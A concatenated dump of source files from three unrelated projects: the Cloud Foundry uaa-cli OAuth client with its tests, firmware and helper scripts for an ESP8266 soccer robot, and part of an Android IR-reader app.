func (acc AuthorizationCodeClient) RequestToken(httpClient *http.Client, config Config, format TokenFormat, code string, redirectUri string) (TokenResponse, error) {
body := map[string]string{
"grant_type": string(AUTHCODE),
"client_id": acc.ClientId,
"client_secret": acc.ClientSecret,
"token_format": string(format),
"response_type": "token",
"redirect_uri": redirectUri,
"code": code,
}
return postToOAuthToken(httpClient, config, body)
}
type RefreshTokenClient struct {
ClientId string
ClientSecret string
}
func (rc RefreshTokenClient) RequestToken(httpClient *http.Client, config Config, format TokenFormat, refreshToken string) (TokenResponse, error) {
body := map[string]string{
"grant_type": string(REFRESH_TOKEN),
"refresh_token": refreshToken,
"client_id": rc.ClientId,
"client_secret": rc.ClientSecret,
"token_format": string(format),
"response_type": "token",
}
return postToOAuthToken(httpClient, config, body)
}
type TokenFormat string
const (
OPAQUE = TokenFormat("opaque")
JWT = TokenFormat("jwt")
)
type GrantType string
const (
REFRESH_TOKEN = GrantType("refresh_token")
AUTHCODE = GrantType("authorization_code")
IMPLICIT = GrantType("implicit")
PASSWORD = GrantType("password")
CLIENT_CREDENTIALS = GrantType("client_credentials")
)
type TokenResponse struct {
AccessToken string `json:"access_token"`
RefreshToken string `json:"refresh_token"`
IdToken string `json:"id_token"`
TokenType string `json:"token_type"`
ExpiresIn int32 `json:"expires_in"`
Scope string `json:"scope"`
JTI string `json:"jti"`
}
<file_sep>/cmd/resfreh_token_test.go
package cmd_test
import (
"code.cloudfoundry.org/uaa-cli/config"
"code.cloudfoundry.org/uaa-cli/uaa"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
. "github.com/onsi/gomega/gbytes"
. "github.com/onsi/gomega/gexec"
. "github.com/onsi/gomega/ghttp"
"net/http"
)
var _ = Describe("ResfrehToken", func() {
var opaqueTokenResponseJson = `{
"access_token" : "bc<PASSWORD>",
"refresh_token" : "<PASSWORD>",
"token_type" : "bearer",
"expires_in" : 43199,
"scope" : "clients.read emails.write scim.userids password.write idps.write notifications.write oauth.login scim.write critical_notifications.write",
"jti" : "bc4885d950854fed9a938e96b13ca519"
}`
var jwtTokenResponseJson = `{
"access_token" : "<KEY>",
"refresh_token" : "<KEY>",
"token_type" : "bearer",
"expires_in" : 43199,
"scope" : "clients.read emails.write scim.userids password.write idps.write notifications.write oauth.login scim.write critical_notifications.write",
"jti" : "bc4885d950854fed9a938e96b13ca519"
}`
var c uaa.Config
var ctx uaa.UaaContext
Describe("and a context was previously set", func() {
BeforeEach(func() {
c = uaa.NewConfigWithServerURL(server.URL())
ctx = uaa.NewContextWithToken("access_token")
ctx.GrantType = uaa.PASSWORD
ctx.RefreshToken = "<PASSWORD>"
ctx.ClientId = "shinyclient"
ctx.Username = "woodstock"
c.AddContext(ctx)
config.WriteConfig(c)
})
Describe("when the --verbose option is used", func() {
It("shows extra output about the request on success", func() {
server.RouteToHandler("POST", "/oauth/token",
RespondWith(http.StatusOK, jwtTokenResponseJson),
)
session := runCommand("refresh-token", "-s", "secretsecret", "--verbose")
Eventually(session).Should(Exit(0))
Expect(session.Out).To(Say("POST /oauth/token"))
Expect(session.Out).To(Say("Accept: application/json"))
Expect(session.Out).To(Say("200 OK"))
})
It("shows extra output about the request on error", func() {
server.RouteToHandler("POST", "/oauth/token",
RespondWith(http.StatusBadRequest, "garbage response"),
)
session := runCommand("refresh-token", "-s", "secretsecret", "--verbose")
Eventually(session).Should(Exit(1))
Expect(session.Out).To(Say("POST /oauth/token"))
Expect(session.Out).To(Say("Accept: application/json"))
Expect(session.Out).To(Say("400 Bad Request"))
Expect(session.Out).To(Say("garbage response"))
})
})
Describe("when successful", func() {
BeforeEach(func() {
config.WriteConfig(c)
server.RouteToHandler("POST", "/oauth/token", CombineHandlers(
RespondWith(http.StatusOK, jwtTokenResponseJson),
VerifyFormKV("client_id", "shinyclient"),
VerifyFormKV("client_secret", "secretsecret"),
VerifyFormKV("refresh_token", "refresh me"),
VerifyFormKV("grant_type", "refresh_token"),
),
)
})
It("displays a success message", func() {
session := runCommand("refresh-token", "-s", "secretsecret")
Eventually(session).Should(Exit(0))
Eventually(session).Should(Say("Access token successfully fetched and added to active context."))
})
It("updates the saved context", func() {
runCommand("refresh-token", "-s", "secretsecret")
Expect(config.ReadConfig().GetActiveContext().AccessToken).To(Equal("<KEY>"))
Expect(config.ReadConfig().GetActiveContext().RefreshToken).To(Equal("<KEY>"))
Expect(config.ReadConfig().GetActiveContext().ClientId).To(Equal("shinyclient"))
Expect(config.ReadConfig().GetActiveContext().Username).To(Equal("woodstock"))
Expect(config.ReadConfig().GetActiveContext().GrantType).To(Equal(uaa.PASSWORD)) // leaves original grant type
Expect(config.ReadConfig().GetActiveContext().TokenType).To(Equal("bearer"))
Expect(config.ReadConfig().GetActiveContext().ExpiresIn).To(Equal(int32(43199)))
Expect(config.ReadConfig().GetActiveContext().Scope).To(Equal("clients.read emails.write scim.userids password.write idps.write notifications.write oauth.login scim.write critical_notifications.write"))
Expect(config.ReadConfig().GetActiveContext().JTI).To(Equal("bc4885d950854fed9a938e96b13ca519"))
})
})
})
Describe("when the token request fails", func() {
BeforeEach(func() {
c := uaa.NewConfigWithServerURL(server.URL())
ctx := uaa.NewContextWithToken("<PASSWORD>")
ctx.GrantType = uaa.PASSWORD
ctx.RefreshToken = "<PASSWORD>"
ctx.ClientId = "shinyclient"
ctx.Username = "woodstock"
c.AddContext(ctx)
config.WriteConfig(c)
server.RouteToHandler("POST", "/oauth/token", CombineHandlers(
RespondWith(http.StatusUnauthorized, `{"error":"unauthorized","error_description":"Bad credentials"}`),
VerifyFormKV("client_id", "shinyclient"),
VerifyFormKV("client_secret", "secretsecret"),
VerifyFormKV("grant_type", "refresh_token"),
),
)
})
It("displays help to the user", func() {
session := runCommand("refresh-token", "-s", "secretsecret")
Eventually(session).Should(Exit(1))
Eventually(session.Err).Should(Say("An unknown error occurred while calling"))
})
It("does not update the previously saved context", func() {
session := runCommand("refresh-token", "-s", "secretsecret")
Eventually(session).Should(Exit(1))
Expect(config.ReadConfig().GetActiveContext().AccessToken).To(Equal("old-token"))
})
})
Describe("configuring token format", func() {
BeforeEach(func() {
c := uaa.NewConfigWithServerURL(server.URL())
ctx := uaa.NewContextWithToken("access_token")
ctx.GrantType = uaa.PASSWORD
ctx.RefreshToken = "<PASSWORD>"
ctx.ClientId = "shinyclient"
ctx.Username = "woodstock"
c.AddContext(ctx)
config.WriteConfig(c)
})
It("can request jwt token", func() {
server.RouteToHandler("POST", "/oauth/token", CombineHandlers(
RespondWith(http.StatusOK, jwtTokenResponseJson),
VerifyFormKV("client_id", "shinyclient"),
VerifyFormKV("client_secret", "secretsecret"),
VerifyFormKV("grant_type", "refresh_token"),
VerifyFormKV("token_format", "jwt"),
))
runCommand("refresh-token", "-s", "secretsecret", "--format", "jwt")
})
It("can request opaque token", func() {
server.RouteToHandler("POST", "/oauth/token", CombineHandlers(
RespondWith(http.StatusOK, opaqueTokenResponseJson),
VerifyFormKV("client_id", "shinyclient"),
VerifyFormKV("client_secret", "secretsecret"),
VerifyFormKV("grant_type", "refresh_token"),
VerifyFormKV("token_format", "opaque"),
))
runCommand("refresh-token", "-s", "secretsecret", "--format", "opaque")
})
It("uses jwt format by default", func() {
server.RouteToHandler("POST", "/oauth/token", CombineHandlers(
RespondWith(http.StatusOK, jwtTokenResponseJson),
VerifyFormKV("client_id", "shinyclient"),
VerifyFormKV("client_secret", "secretsecret"),
VerifyFormKV("grant_type", "refresh_token"),
VerifyFormKV("token_format", "jwt"),
))
runCommand("refresh-token", "-s", "secretsecret")
})
It("displays error when unknown format is passed", func() {
session := runCommand("refresh-token", "-s", "secretsecret", "--format", "bogus")
Expect(session.Err).To(Say(`The token format "bogus" is unknown.`))
Expect(session).To(Exit(1))
})
})
Describe("Validations", func() {
Describe("when called with no client_secret", func() {
It("displays help and does not panic", func() {
ctx := uaa.NewContextWithToken("access_token")
ctx.GrantType = uaa.PASSWORD
ctx.RefreshToken = "<PASSWORD>"
ctx.ClientId = "shinyclient"
ctx.Username = "woodstock"
c.AddContext(ctx)
config.WriteConfig(c)
session := runCommand("refresh-token")
Eventually(session).Should(Exit(1))
Expect(session.Err).To(Say("Missing argument `client_secret` must be specified."))
})
})
Describe("when called with no refresh token in the saved context", func() {
It("displays help and does not panic", func() {
c := uaa.NewConfigWithServerURL("http://localhost")
ctx := uaa.NewContextWithToken("access_token")
ctx.GrantType = uaa.PASSWORD
ctx.RefreshToken = ""
ctx.ClientId = "shinyclient"
ctx.Username = "woodstock"
c.AddContext(ctx)
config.WriteConfig(c)
session := runCommand("refresh-token", "-s", "secretsecret")
Eventually(session).Should(Exit(1))
Expect(session.Err).To(Say("A refresh_token was not found in the active context."))
})
})
Describe("when called with no client id", func() {
It("displays help and does not panic", func() {
c := uaa.NewConfigWithServerURL("http://localhost")
ctx := uaa.NewContextWithToken("some-token")
ctx.RefreshToken = "<PASSWORD>"
ctx.ClientId = ""
c.AddContext(ctx)
config.WriteConfig(c)
session := runCommand("refresh-token", "-s", "secretsecret")
Eventually(session).Should(Exit(1))
Expect(session.Err).To(Say("A client_id was not found in the active context."))
})
})
Describe("when no target was previously set", func() {
BeforeEach(func() {
config.WriteConfig(uaa.NewConfig())
})
It("tells the user to set a target", func() {
session := runCommand("refresh-token", "-s", "secretsecret")
Eventually(session).Should(Exit(1))
Expect(session.Err).To(Say("You must set a target in order to use this command."))
})
})
Describe("when no context was previously set", func() {
BeforeEach(func() {
config.WriteConfig(uaa.NewConfigWithServerURL("http://localhost:8080"))
})
It("tells the user to set a target", func() {
session := runCommand("refresh-token", "-s", "secretsecret")
Eventually(session).Should(Exit(1))
Expect(session.Err).To(Say("You must have a token in your context to perform this command."))
})
})
})
})
<file_sep>/cmd/get_implicit_token_test.go
package cmd_test
import (
. "code.cloudfoundry.org/uaa-cli/cmd"
"code.cloudfoundry.org/uaa-cli/cli"
"code.cloudfoundry.org/uaa-cli/config"
"code.cloudfoundry.org/uaa-cli/uaa"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
"net/http"
)
type TestLauncher struct {
Target string
}
func (tl *TestLauncher) Run(target string) error {
tl.Target = target
return nil
}
var _ = Describe("GetImplicitToken", func() {
var c uaa.Config
var ctx uaa.UaaContext
var logger cli.Logger
BeforeEach(func() {
c = uaa.NewConfigWithServerURL(server.URL())
config.WriteConfig(c)
ctx = c.GetActiveContext()
logger = cli.NewLogger(GinkgoWriter, GinkgoWriter, GinkgoWriter, GinkgoWriter)
})
It("launches a browser for the authorize page and gets the callback params", func() {
launcher := TestLauncher{}
doneRunning := make(chan bool)
imp := cli.NewImplicitClientImpersonator("shinyclient", server.URL(), "jwt", "openid", 8080, logger, launcher.Run)
go ImplicitTokenCommandRun(doneRunning, "shinyclient", imp, &logger)
httpClient := &http.Client{}
// UAA sends the user to this redirect_uri after they auth and grant approvals
httpClient.Get("http://localhost:8080/?access_token=foo&scope=openid&token_type=bearer")
<-doneRunning
Expect(launcher.Target).To(Equal(server.URL() + "/oauth/authorize?client_id=shinyclient&redirect_uri=http%3A%2F%2Flocalhost%3A8080&response_type=token&scope=openid&token_format=jwt"))
Expect(GetSavedConfig().GetActiveContext().ClientId).To(Equal("shinyclient"))
Expect(GetSavedConfig().GetActiveContext().GrantType).To(Equal(uaa.GrantType("implicit")))
Expect(GetSavedConfig().GetActiveContext().AccessToken).To(Equal("foo"))
Expect(GetSavedConfig().GetActiveContext().TokenType).To(Equal("bearer"))
Expect(GetSavedConfig().GetActiveContext().Scope).To(Equal("openid"))
})
})
<file_sep>/cmd/list_groups_test.go
package cmd_test
import (
"code.cloudfoundry.org/uaa-cli/config"
. "code.cloudfoundry.org/uaa-cli/fixtures"
"code.cloudfoundry.org/uaa-cli/uaa"
"fmt"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
. "github.com/onsi/gomega/gexec"
. "github.com/onsi/gomega/ghttp"
"net/http"
)
var _ = Describe("ListGroups", func() {
var groupListResponse string
BeforeEach(func() {
cfg := uaa.NewConfigWithServerURL(server.URL())
cfg.AddContext(uaa.NewContextWithToken("access_token"))
config.WriteConfig(cfg)
groupListResponse = fmt.Sprintf(PaginatedResponseTmpl, UaaAdminGroupResponse, CloudControllerReadGroupResponse)
})
It("executes SCIM queries based on flags", func() {
server.RouteToHandler("GET", "/Groups", CombineHandlers(
VerifyRequest("GET", "/Groups", "filter=verified+eq+false&attributes=id%2CdisplayName&sortBy=displayName&sortOrder=descending&count=50&startIndex=100"),
RespondWith(http.StatusOK, groupListResponse),
))
session := runCommand("list-groups",
"--filter", "verified eq false",
"--attributes", "id,displayName",
"--sortBy", "displayName",
"--sortOrder", "descending",
"--count", "50",
"--startIndex", "100")
Eventually(session).Should(Exit(0))
})
It("understands the --zone flag", func() {
server.RouteToHandler("GET", "/Groups", CombineHandlers(
VerifyRequest("GET", "/Groups", "filter=verified+eq+false&attributes=id%2CdisplayName&sortBy=displayName&sortOrder=descending&count=50&startIndex=100"),
VerifyHeaderKV("X-Identity-Zone-Subdomain", "twilight-zone"),
RespondWith(http.StatusOK, groupListResponse),
))
session := runCommand("list-groups",
"--filter", "verified eq false",
"--attributes", "id,displayName",
"--sortBy", "displayName",
"--sortOrder", "descending",
"--count", "50",
"--startIndex", "100",
"--zone", "twilight-zone")
Eventually(session).Should(Exit(0))
})
})
<file_sep>/uaa/info.go
package uaa
import (
"encoding/json"
"net/http"
)
type UaaInfo struct {
App uaaApp `json:"app"`
Links uaaLinks `json:"links"`
Prompts map[string][]string `json:"prompts"`
ZoneName string `json:"zone_name"`
EntityId string `json:"entityID"`
CommitId string `json:"commit_id"`
Timestamp string `json:"timestamp"`
IdpDefinitions map[string]string `json:"idpDefinitions"`
}
type uaaApp struct {
Version string `json:"version"`
}
type uaaLinks struct {
ForgotPassword string `json:"passwd"`
Uaa string `json:"uaa"`
Registration string `json:"register"`
Login string `json:"login"`
}
func Info(client *http.Client, config Config) (UaaInfo, error) {
bytes, err := UnauthenticatedRequester{}.Get(client, config, "info", "")
if err != nil {
return UaaInfo{}, err
}
info := UaaInfo{}
err = json.Unmarshal(bytes, &info)
if err != nil {
return UaaInfo{}, parseError("", bytes)
}
return info, err
}
<file_sep>/cmd/get_token_key.go
package cmd
import (
"code.cloudfoundry.org/uaa-cli/cli"
"code.cloudfoundry.org/uaa-cli/uaa"
"github.com/spf13/cobra"
"net/http"
)
func GetTokenKeyCmd(client *http.Client, config uaa.Config) error {
key, err := uaa.TokenKey(client, config)
if err != nil {
return err
}
return cli.NewJsonPrinter(log).Print(key)
}
var getTokenKeyCmd = &cobra.Command{
Use: "get-token-key",
Short: "View the key for validating UAA's JWT token signatures",
Aliases: []string{"token-key"},
PreRun: func(cmd *cobra.Command, args []string) {
cfg := GetSavedConfig()
NotifyValidationErrors(EnsureTargetInConfig(cfg), cmd, log)
},
Run: func(cmd *cobra.Command, args []string) {
NotifyErrorsWithRetry(GetTokenKeyCmd(GetHttpClient(), GetSavedConfig()), GetSavedConfig(), log)
},
}
func init() {
RootCmd.AddCommand(getTokenKeyCmd)
getTokenKeyCmd.Annotations = make(map[string]string)
getTokenKeyCmd.Annotations[TOKEN_CATEGORY] = "true"
}
<file_sep>/config/config_test.go
// +build !windows
package config_test
import (
"code.cloudfoundry.org/uaa-cli/config"
"code.cloudfoundry.org/uaa-cli/uaa"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
)
var _ = Describe("Config", func() {
var cfg uaa.Config
It("can read saved data", func() {
cfg = uaa.NewConfig()
target := uaa.NewTarget()
target.BaseUrl = "http://nowhere.com"
target.SkipSSLValidation = true
ctx := uaa.NewContextWithToken("foo-token")
ctx.ClientId = "cid"
ctx.Username = "woodstock"
ctx.GrantType = "client_credentials"
cfg.AddTarget(target)
cfg.AddContext(ctx)
config.WriteConfig(cfg)
Expect(cfg.ActiveTargetName).To(Equal("url:http://nowhere.com"))
Expect(cfg.GetActiveContext().AccessToken).To(Equal("foo-token"))
cfg2 := config.ReadConfig()
Expect(cfg2.ActiveTargetName).To(Equal("url:http://nowhere.com"))
Expect(cfg2.GetActiveContext().AccessToken).To(Equal("foo-token"))
})
It("can accept a context without previously setting target", func() {
cfg = uaa.NewConfig()
ctx := uaa.NewContextWithToken("foo-token")
ctx.ClientId = "cid"
ctx.Username = "woodstock"
ctx.GrantType = "client_credentials"
cfg.AddContext(ctx)
config.WriteConfig(cfg)
Expect(cfg.GetActiveContext().TokenResponse.AccessToken).To(Equal("foo-token"))
cfg2 := config.ReadConfig()
Expect(cfg2.ActiveTargetName).To(Equal("url:"))
Expect(cfg2.GetActiveContext().TokenResponse.AccessToken).To(Equal("foo-token"))
})
It("places the config file in .uaa in the home directory", func() {
Expect(config.ConfigPath()).To(HaveSuffix(`/.uaa/config.json`))
})
})
<file_sep>/uaa/curl.go
package uaa
import (
"bufio"
"fmt"
"io/ioutil"
"net/http"
"net/http/httputil"
"net/textproto"
"strings"
"code.cloudfoundry.org/uaa-cli/utils"
)
type CurlManager struct {
HttpClient *http.Client
Config Config
}
func (cm CurlManager) Curl(path, method, data string, headers []string) (resHeaders, resBody string, err error) {
target := cm.Config.GetActiveTarget()
context := target.GetActiveContext()
url, err := utils.BuildUrl(target.BaseUrl, path)
if err != nil {
return
}
req, err := http.NewRequest(method, url.String(), strings.NewReader(data))
if err != nil {
return
}
err = mergeHeaders(req.Header, strings.Join(headers, "\n"))
if err != nil {
return
}
req, err = addAuthorization(req, context)
if err != nil {
return
}
if cm.Config.Verbose {
logRequest(req)
}
resp, err := cm.HttpClient.Do(req)
if err != nil {
if cm.Config.Verbose {
fmt.Printf("%v\n\n", err)
}
return
}
defer resp.Body.Close()
headerBytes, _ := httputil.DumpResponse(resp, false)
resHeaders = string(headerBytes)
bytes, err := ioutil.ReadAll(resp.Body)
if err != nil && cm.Config.Verbose {
fmt.Printf("%v\n\n", err)
}
resBody = string(bytes)
if cm.Config.Verbose {
logResponse(resp)
}
return
}
func mergeHeaders(destination http.Header, headerString string) (err error) {
headerString = strings.TrimSpace(headerString)
headerString += "\n\n"
headerReader := bufio.NewReader(strings.NewReader(headerString))
headers, err := textproto.NewReader(headerReader).ReadMIMEHeader()
if err != nil {
return
}
for key, values := range headers {
destination.Del(key)
for _, value := range values {
destination.Add(key, value)
}
}
return
}
| 6ae8d42a150c9ec61bc5e8059dc919e403461df9 | [
"Go"
] | 48 | Go | joefitzgerald/uaa-cli | 7b51e20e9814368fa367eb6ba6c3a5fdf953db0c | 3f828d56e4a844ddba7db577e1e65b587bd2f5cf |
refs/heads/master | <repo_name>lhartmann/vsss-bot<file_sep>/other_tools/toolchain-setup.sh
#! /bin/bash
requires() {
[ -z "$(which "$1")" ] && {
echo "$1 required but not available. On Ubuntu install the $2 package."
exit 1
}
}
requires git git
requires curl curl
requires xzcat xz-utils
requires make make
requires python "python and python-serial"
[ "$UID" -ne 0 -a ! -w "/opt/espressif/" ] && {
echo "Please run as root or grant write permissions to /opt/espressif/ directory."
exit 1
}
# Give up immediately on error, so they don't escalate
set -e
SCRIPT=$(realpath "$0")
SCRIPTDIR=$(dirname "$SCRIPT")
mkdir -p /opt/espressif
cd /opt/espressif
# Download and extract toolchain
curl 'https://app.cear.ufpb.br/owncloud/index.php/s/LrvHW9WsqGsF3k1/download' \
| xzcat | tar -xv
# Download the SDK
git clone --recursive 'https://github.com/SuperHouse/esp-open-rtos'
cd /opt/espressif/esp-open-rtos
# Patch headers for C++ compatibility
"$SCRIPTDIR/cppchk.sh" --fix
<file_sep>/include/NodeMCU_pinmap.h
// Node-MCU pin mapping
#define NODE_D0 16
#define NODE_D1 5
#define NODE_D2 4
#define NODE_D3 0
#define NODE_D4 2
#define NODE_D5 14
#define NODE_D6 12
#define NODE_D7 13
#define NODE_D8 15
#define NODE_D9 3
#define NODE_D10 1
#define NODE_D11 9
#define NODE_D12 10
inline void gpio_set_iomux_as_gpio(int pin) {
switch(pin) {
// case NODE_D0: gpio_set_iomux_function(16, IOMUX_GPIO16_FUNC_GPIO); break;
case NODE_D1: gpio_set_iomux_function( 5, IOMUX_GPIO5_FUNC_GPIO ); break;
case NODE_D2: gpio_set_iomux_function( 4, IOMUX_GPIO4_FUNC_GPIO ); break;
case NODE_D3: gpio_set_iomux_function( 0, IOMUX_GPIO0_FUNC_GPIO ); break;
case NODE_D4: gpio_set_iomux_function( 2, IOMUX_GPIO2_FUNC_GPIO ); break;
case NODE_D5: gpio_set_iomux_function(14, IOMUX_GPIO14_FUNC_GPIO); break;
case NODE_D6: gpio_set_iomux_function(12, IOMUX_GPIO12_FUNC_GPIO); break;
case NODE_D7: gpio_set_iomux_function(13, IOMUX_GPIO13_FUNC_GPIO); break;
case NODE_D8: gpio_set_iomux_function(15, IOMUX_GPIO15_FUNC_GPIO); break;
case NODE_D9: gpio_set_iomux_function( 3, IOMUX_GPIO3_FUNC_GPIO ); break;
case NODE_D10: gpio_set_iomux_function( 1, IOMUX_GPIO1_FUNC_GPIO ); break;
case NODE_D11: gpio_set_iomux_function( 9, IOMUX_GPIO9_FUNC_GPIO ); break;
case NODE_D12: gpio_set_iomux_function(10, IOMUX_GPIO10_FUNC_GPIO); break;
}
}
<file_sep>/nanopb/component.mk
# Component makefile for nanopb
# Make the component headers accessible to the main project
INC_DIRS += $(nanopb_ROOT)..
# args for passing into compile rule generation
nanopb_SRC_DIR = $(nanopb_ROOT)
nanopb_CFLAGS = $(CFLAGS)
$(eval $(call component_compile_rules,nanopb))
<file_sep>/include/quadrature_decoder.h
#ifndef QUADRATURE_DECODER_H
#define QUADRATURE_DECODER_H
#include <stdint.h>
#include <type_traits>
#include <FreeRTOS.h>
template <typename _T, _T _prd, uint32_t _a_pin, uint32_t _b_pin>
class quadrature_decoder {
static_assert(std::is_signed<_T>(), "T must be a signed type.");
public:
typedef _T T;
enum : uint32_t {
a_pin = _a_pin,
b_pin = _b_pin,
a_mask = 1 << a_pin,
b_mask = 1 << b_pin,
mask = a_mask | b_mask
};
enum : T {
prd = _prd
};
private:
uint32_t old;
T _abs, _dif;
T da, db;
public:
void reset(uint32_t in, T npos) {
vPortEnterCritical();
old = in;
_abs = npos;
_dif = 0;
da = in & a_mask ? +1 : -1;
db = in & b_mask ? +1 : -1;
vPortExitCritical();
}
void operator() (uint32_t in) {
in ^= old;
old ^= in;
if (in & a_mask) {
_abs += da;
_dif += da;
da = -da;
}
if (in & b_mask) {
_abs += db;
_dif += db;
db = -db;
}
if (_abs == prd)
_abs -= prd;
if (_abs < 0)
_abs += prd;
}
T abs() const {
return _abs;
}
T diff() const {
vPortEnterCritical();
uint32_t d = _dif;
_dif = 0;
vPortExitCritical();
return d;
}
};
#endif
<file_sep>/other_tools/setspeed
#! /bin/bash
[ -z "$BOTIP" ] && {
echo "Please set BOTIP variable to the robot's IP address."
echo ""
echo "export BOTIP=192.168.1.222"
echo "./setstpeed <left_vel> <right_vel>"
}
(
printf "\x0Cid:1 left_vel:%0.3f right_vel:%0.3f" "$1" "$2" \
| protoc --encode=vss_command.Robot_Command command.proto
) | nc -i1 $BOTIP 5556
<file_sep>/Makefile
PROGRAM=vsss-bot
PATH:=/opt/espressif/xtensa-lx106-elf/bin/:$(PATH)
ESPBAUD=500000
ESPIP?=192.168.1.98
EXTRA_CXXFLAGS+=--std=gnu++11
EXTRA_COMPONENTS+=nanopb
EXTRA_CFLAGS+=-I./nanopb
EXTRA_CXXFLAGS+=-I./nanopb
EXTRA_COMPONENTS+=extras/mbedtls extras/httpd
EXTRA_CFLAGS+=-I./fsdata
EXTRA_CXXFLAGS+=-I./fsdata
EXTRA_COMPONENTS+=extras/rboot-ota
include SDK/common.mk
# HTTP data
fsdata/fsdata.c: html
html:
@echo "Generating fsdata.."
cd fsdata && ./makefsdata
# Program the ESP8266 OTA using TFTP.
wiflash:
tftp -v -m octet ${ESPIP} -c put firmware/${PROGRAM}.bin firmware.bin
<file_sep>/include/sigma_delta_speed.h
#ifndef SIGMA_DELTA_SPEED_H
#define SIGMA_DELTA_SPEED_H
#include <stdint.h>
#include <type_traits>
template <typename _T, _T _prd, uint32_t _fwd_pin, uint32_t _rwd_pin>
class sigma_delta_speed {
static_assert(std::is_signed<_T>(), "T must be signed.");
public:
typedef _T T;
enum : uint32_t {
fwd_pin = _fwd_pin,
rwd_pin = _rwd_pin,
fwd_mask = 1 << fwd_pin,
rwd_mask = 1 << rwd_pin,
mask = fwd_mask | rwd_mask
};
enum : T {
prd = _prd
};
private:
T _speed, _acc;
public:
sigma_delta_speed() :
_speed(0), _acc(0)
{
}
void setSpeed(T s) {
_speed = s;
}
T speed() const {
return _speed;
}
uint32_t operator()() {
uint32_t r = 0;
_acc += _speed;
if (_acc > +prd/2) {
_acc -= prd;
r |= fwd_mask;
}
if (_acc < -prd/2) {
_acc += prd;
r |= rwd_mask;
}
return r;
}
};
#endif
<file_sep>/do
#! /bin/bash
set -e
#make clean
make html
make -j 8
make test
| dba89b5d22ea0b0d5977592bfcfd102bd8d6f893 | [
"C",
"Makefile",
"C++",
"Shell"
] | 8 | Shell | lhartmann/vsss-bot | c7048979ced90a6e67ff01b3c6d02ac162a085f5 | 631137877eff265deb30ae2b2c4ce5f78e1ee3e4 |
refs/heads/master | <file_sep>package com.bomeans.irreader.panel;
/**
* Created by ray on 2017/6/19.
*/
public interface IRemotePanel {
boolean loadRemote(String typeId, String brandId, String remoteId, boolean getNew, IRemotePanelLoadedCallback callback);
void createRemoteLayoutCallback();
void saveStates();
//String getCategoryString();
boolean keyLayoutCreated();
void setActivityIsRunning(Boolean isRunning);
}
<file_sep>package com.bomeans.irreader.panel.keydef;
import android.content.Context;
import com.bomeans.IRKit.KeyName;
import com.bomeans.irreader.panel.RemoteKey;
import java.util.HashMap;
/**
* Created by ray on 2017/6/20.
*/
public class DefaultMP3Keys extends DefaultTVKeys {
public DefaultMP3Keys(Context context, KeyName[] keyNames) {
super(context, keyNames);
}
@Override
protected void initKeyNameMapping(Context context, HashMap<String, RemoteKey> keyMapping) {
super.initKeyNameMapping(context, keyMapping);
keyMapping.put("IR_KEY_PHOTO_PREVIEW", new RemoteKey("IR_KEY_PHOTO_PREVIEW"));
keyMapping.put("IR_KEY_PHOTO_SLIDE", new RemoteKey("IR_KEY_PHOTO_SLIDE"));
keyMapping.put("IR_KEY_PHOTO_DELETE", new RemoteKey("IR_KEY_PHOTO_DELETE"));
keyMapping.put("IR_KEY_PHOTO_COPY", new RemoteKey("IR_KEY_PHOTO_COPY"));
keyMapping.put("IR_KEY_PHOTO_ROTATE", new RemoteKey("IR_KEY_PHOTO_ROTATE"));
keyMapping.put("IR_KEY_PHOTO_RATIO", new RemoteKey("IR_KEY_PHOTO_RATIO"));
keyMapping.put("IR_KEY_PHOTO_MUSIC", new RemoteKey("IR_KEY_PHOTO_MUSIC"));
keyMapping.put("IR_KEY_PHOTO_DATE", new RemoteKey("IR_KEY_PHOTO_DATE"));
keyMapping.put("IR_KEY_PHOTO_MODE", new RemoteKey("IR_KEY_PHOTO_MODE"));
}
@Override
protected String[] initKeys() {
return new String[] {
"IR_KEY_POWER_TOGGLE",
"IR_KEY_MENU",
"IR_KEY_PHOTO_MODE",
"IR_KEY_PHOTO_PREVIEW",
"IR_KEY_PHOTO_SLIDE",
"IR_KEY_PHOTO_MUSIC",
"IR_KEY_INFO",
"IR_KEY_CURSOR_UP",
"IR_KEY_PLAY",
"IR_KEY_CURSOR_LEFT",
"IR_KEY_OK",
"IR_KEY_CURSOR_RIGHT",
"IR_KEY_EXIT",
"IR_KEY_CURSOR_DOWN",
"IR_KEY_PHOTO_DELETE",
"IR_KEY_VOLUME_UP",
"IR_KEY_VOLUME_DOWN"
};
}
}
<file_sep>package com.bomeans.irreader;
import android.support.v7.app.ActionBar;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.MenuItem;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
import com.bomeans.IRKit.BIRReader;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.Map;
public class TestActivity extends AppCompatActivity {
private BIRReader mIrReader;
private TextView mResultText;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_test);
// enable the back button on the action bar
ActionBar actionBar = getSupportActionBar();
if (null != actionBar) {
actionBar.setHomeButtonEnabled(true);
actionBar.setDisplayHomeAsUpEnabled(true);
}
mResultText = (TextView) findViewById(R.id.test_result);
Button startButton = (Button) findViewById(R.id.start_button);
startButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startTest();
}
});
}
@Override
protected void onResume() {
super.onResume();
mIrReader = ((BomeansIrReaderApp) getApplication()).getIrReader();
}
private void startTest() {
TestData testData = new TestData();
Map<String, byte[]> dataMap = testData.getAllData();
Iterator it = dataMap.entrySet().iterator();
ArrayList<BIRReader.ReaderMatchResult> result;
String info = "";
while (it.hasNext()) {
Map.Entry<String, byte[]> pair = (Map.Entry)it.next();
if (mIrReader.load(pair.getValue(), false, true)) {
//mIrReader.loadLearningData(pair.getValue());
result = mIrReader.getBestMatches();
if (null != result && result.size() > 0) {
info += String.format("%s: %s", pair.getKey(), result.get(0).formatId);
if (result.get(0).isAc()) {
info += "\n";
} else {
info += String.format("C:0x%X, K:0x%X\n", result.get(0).customCode, result.get(0).keyCode);
}
} else {
info += String.format("%s: NG\n", pair.getKey());
}
}
it.remove(); // avoids a ConcurrentModificationException
mResultText.setText(info);
}
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
switch (item.getItemId()) {
case android.R.id.home:
finish();
return true;
}
return super.onOptionsItemSelected(item);
}
}
<file_sep>package com.bomeans.irreader;
import android.app.Activity;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
